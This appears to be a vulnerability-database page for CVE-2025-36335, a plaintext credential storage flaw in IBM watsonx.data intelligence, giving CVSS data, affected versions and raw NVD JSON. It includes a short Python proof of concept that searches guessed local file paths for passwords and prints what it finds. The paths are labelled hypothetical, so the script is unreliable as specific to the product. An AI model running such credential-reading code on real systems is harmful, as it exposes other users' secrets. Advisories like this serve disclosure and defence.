Security Vulnerability Report
中文
CVE-2025-36335 CVSS 6.2 MEDIUM

CVE-2025-36335

Published: 2026-04-30 22:16:25
Last Modified: 2026-05-12 19:25:00

Description

IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.3.0, 5.3.1 stores user credentials in plain text which can be read by a local user.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:watsonx.data:5.2.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:watsonx.data:5.2.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:watsonx.data:5.3.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:watsonx.data:5.3.1:*:*:*:*:*:*:* - VULNERABLE
5.2.0
5.2.1
5.3.0
5.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # Hypothetical paths where credentials might be stored TARGET_PATHS = [ "/opt/ibm/watsonx/conf/config.properties", "/var/log/ibm/watsonx/setup.log" ] def check_cleartext_creds(): # Check if the target files exist and read them for path in TARGET_PATHS: if os.path.exists(path): print(f"[+] Found file: {path}") try: with open(path, 'r') as f: content = f.read() # Simple check for password keywords if "password" in content.lower(): print("[!] Potential cleartext credentials found!") print("--- Content Snippet ---") print(content[:200]) # Print first 200 chars except Exception as e: print(f"[-] Error reading file: {e}") else: print(f"[-] File not found: {path}") if __name__ == "__main__": print("[*] Scanning for CVE-2025-36335 vulnerability...") check_cleartext_creds()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36335", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:24.873", "lastModified": "2026-05-12T19:25:00.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM watsonx.data intelligence 5.2.0, 5.2.1, 5.3.0, 5.3.1 stores user credentials in plain text which can be read by a local user."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-256"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:watsonx.data:5.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "85EF000B-3646-4C0F-8173-A3DA62598C60"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:watsonx.data:5.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "CF1CCE37-4481-4C31-8903-26CCE0A82EC9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:watsonx.data:5.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "EDE55760-6991-4EE7-9489-F1366B3FF2F9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:watsonx.data:5.3.1:*:*:*:*:*:*:*", "matchCriteriaId": "F3FEFD85-C149-4FF1-B612-532780E9C2F4"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7270923", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}